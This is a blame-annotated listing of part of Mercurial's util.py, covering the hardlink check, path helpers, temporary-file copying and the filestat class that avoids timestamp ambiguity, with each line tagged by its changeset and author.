bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2014
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2015 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2016 # work around issue2543 (or testfile may get lost on Samba shares)
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2017 f1, f2, fp = None, None, None
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2018 try:
38164
aac4be30e250 py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents: 37972
diff changeset
2019 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2020 suffix='1~', dir=os.path.dirname(testfile))
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2021 os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2022 f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2023
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2024 oslink(f1, f2)
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2025 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2026 # the file is open.
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2027 fp = posixfile(f2)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2028 return nlinks(f2) > 1
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2029 except OSError:
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
2030 return False
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2031 finally:
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2032 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
2033 fp.close()
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2034 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2035 try:
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2036 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
2037 os.unlink(f)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2038 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
2039 pass
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2040
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2041 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2042 '''Check path ends with os.sep or os.altsep.'''
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
2043 return (path.endswith(pycompat.ossep)
30625
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
2044 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
2045
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2046 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2047 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2048 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2049 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2050 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2051 function if need.'''
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
2052 return path.split(pycompat.ossep)
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
2053
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2054 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2055 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2056
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2057 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2058
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2059 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2060 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2061
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2062 Returns the name of the temporary file.
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2063 """
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2064 d, fn = os.path.split(name)
38164
aac4be30e250 py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents: 37972
diff changeset
2065 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2066 os.close(fd)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2067 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2068 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2069 # its mode. Otherwise, manually obey umask.
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2070 copymode(name, temp, createmode, enforcewritable)
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2071
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2072 if emptyok:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2073 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2074 try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2075 try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2076 ifp = posixfile(name, "rb")
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2077 except IOError as inst:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2078 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2079 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2080 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2081 inst.filename = name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2082 raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2083 ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2084 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2085 ofp.write(chunk)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2086 ifp.close()
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2087 ofp.close()
16705
c2d9ef43ff6c check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents: 16703
diff changeset
2088 except: # re-raises
34435
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2089 try:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2090 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2091 except OSError:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
2092 pass
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2093 raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2094 return temp
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2095
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2096 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2097 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2098
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2099 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2100 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2101 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2102 """
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2103 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2104 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2105
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2106 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2107 def frompath(cls, path):
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2108 try:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2109 stat = os.stat(path)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2110 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2111 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2112 raise
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2113 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2114 return cls(stat)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2115
32816
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2116 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2117 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2118 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2119 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
2120
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2121 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2122
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2123 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2124 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2125 # if ambiguity between stat of new and old file is
30332
318a24b52eeb spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents: 30329
diff changeset
2126 # avoided, comparison of size, ctime and mtime is enough
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2127 # to exactly detect change of a file regardless of platform
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2128 return (self.stat.st_size == old.stat.st_size and
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
2129 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
2130 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2131 except AttributeError:
32749
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2132 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2133 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2134 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
2135 except AttributeError:
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2136 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2137
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2138 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2139 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2140
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2141 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2142
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2143 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2144 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2145 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2146 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2147 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2148 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2149
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2150 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2151 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2152 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2153
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2154 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2155 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2156
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2157 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2158 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2159 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2160
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2161 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2162 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2163 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2164
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2165 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2166 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2167 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2168 try:
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
2169 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2170 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2171 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
2172
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2173 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2174 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2175
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2176 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2177
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2178 This skips avoiding ambiguity, if a process doesn't have
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2179 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2180 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2181
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2182 Otherwise, this returns True, as "ambiguity is avoided".
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2183 """
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
2184 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2185 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2186 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2187 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2188 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2189 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2190 # if a process doesn't have appropriate privileges
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2191 return False
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2192 raise
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2193 return True
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
